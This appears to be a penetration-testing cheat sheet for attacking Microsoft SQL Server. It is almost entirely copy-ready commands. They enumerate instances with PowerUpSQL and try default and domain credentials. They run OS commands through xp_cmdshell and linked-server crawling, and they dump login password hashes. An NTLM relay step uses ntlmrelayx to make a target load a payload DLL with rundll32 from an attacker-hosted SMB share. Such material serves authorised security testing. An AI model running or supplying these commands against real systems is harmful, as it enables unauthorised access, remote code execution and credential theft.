MSSQL
Connectionâ
ESC - Interactive .NET client for MSSQL abuse
Connect to MSSQL using windows authentication
mssqlclient.py <user>@<ip> -windows-auth
PowerUpSQLâ
Identify SQL instancesâ
Authenticated user
Get-SQLInstanceDomain [| Get-SQLServerInfo]
Unauthenticated user
Get-SQLInstanceScanUDP
Check login accessâ
Attempt to login with a domain account
Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 | Where-Object {$_.Status -like "Accessible"} | Export-Csv -Path .\targets.csv
Attempt to login with default password
Get-SQLServerDefaultLoginPw
Save instances with authenticated access to CSV file
powerpick Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose
powerpick Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Threads 10 | Where-Object {$_.Status -like "Accessible"} | Export-Csv -Path .\targets.csv
Post-Exploitation on DBâ
Perform actions specifying a single instance or all connected targets
Import-Csv -Path .\targets.csv | Get-SQLServerInfo
Invoke-SQLAudit -Verbose -Instance "<INSTANCE>"
List DB, tables, columns
Get-SQLInstanceDomain | Get-SQLDatabase
Get-SQLInstanceDomain | Get-SQLTable -DatabaseName <DB_name>
Get-SQLInstanceDomain | Get-SQLColumn -DatabaseName <DB_name> -TableName <Table_name>
Search column names for a given keyword
Get-SQLInstanceDomain | Get-SQLColumnSampleData -Keywords "<word1,word2>" -Verbose -SampleSize 10
RCE
Invoke-SQLOSCmd -Verbose -Instance <instance_fqdn> -Command "<command>"
Crawling database link
Get-SQLServerLink
Get-SQLServerLinkCrawl
Get-SQLQuery -Instance "<SERVER1>" -Query 'EXEC "<SERVER2>".master..xp_cmdshell "whoami /all"'
SMB relay via xp_dirtreeâ
Prerequisitesâ
- Linux OS with network access to the targets
- EXECUTE privilege on xp_dirtree function with an authenticatd account on the DB
<MSSQL_HOST>
runs with an account that has admin rights on<TARGET_RELAY>
Step 1 - Create a virtual interfaceâ
ifconfig <IFACE>:0 <AVAILABLE_IP> netmask <NETMASK>
<IP1>
will be the IP of eth0 and <IP2>
will be the IP of eth0:0
Step 2 - Configure MSFâ
use admin/mssql/mssql_ntlm_stealer
set RHOSTS <MSSQL_RHOST>
set RPORT <RPORT>
set SMBPROXY <IP1>
set USE_WINDOWS_AUTHENT true
Step 3 - Start ntlmrelayxâ
sudo impacket-ntlmrelayx -smb2support -t <TARGET_RELAY> -c 'rundll32.exe \\<IP2>\public\<PAYLOAD>.dll,Start' -ip <IP1>
Step 4 - Host the payload via SMB shareâ
sudo impacket-smbserver -smb2support public . -ip <IP2>
Step 5 - Start the attack in MSFâ
run
Enable XP_CMDSHELLâ
tip
Type one line at a time.
EXEC sp_configure 'show advanced options', 1;
go
RECONFIGURE;
go
EXEC sp_configure 'xp_cmdshell', 1;
go
RECONFIGURE;
go
xp_cmdshell '<cmd>'
go
Nmap
nmap -Pn -n --script=ms-sql-xp-cmdshell.nse <victim_ip> -p1433 --script-args mssql.username=<sql_user>,mssql.password=<sql_password>,ms-sql-xp-cmdshell.cmd="<cmd>"
SQLCMD
sqlcmd -E -S localhost -Q "EXEC sp_databases;"
sqlcmd -E -S localhost -Q "SELECT name, password_hash FROM master.sys.sql_logins;"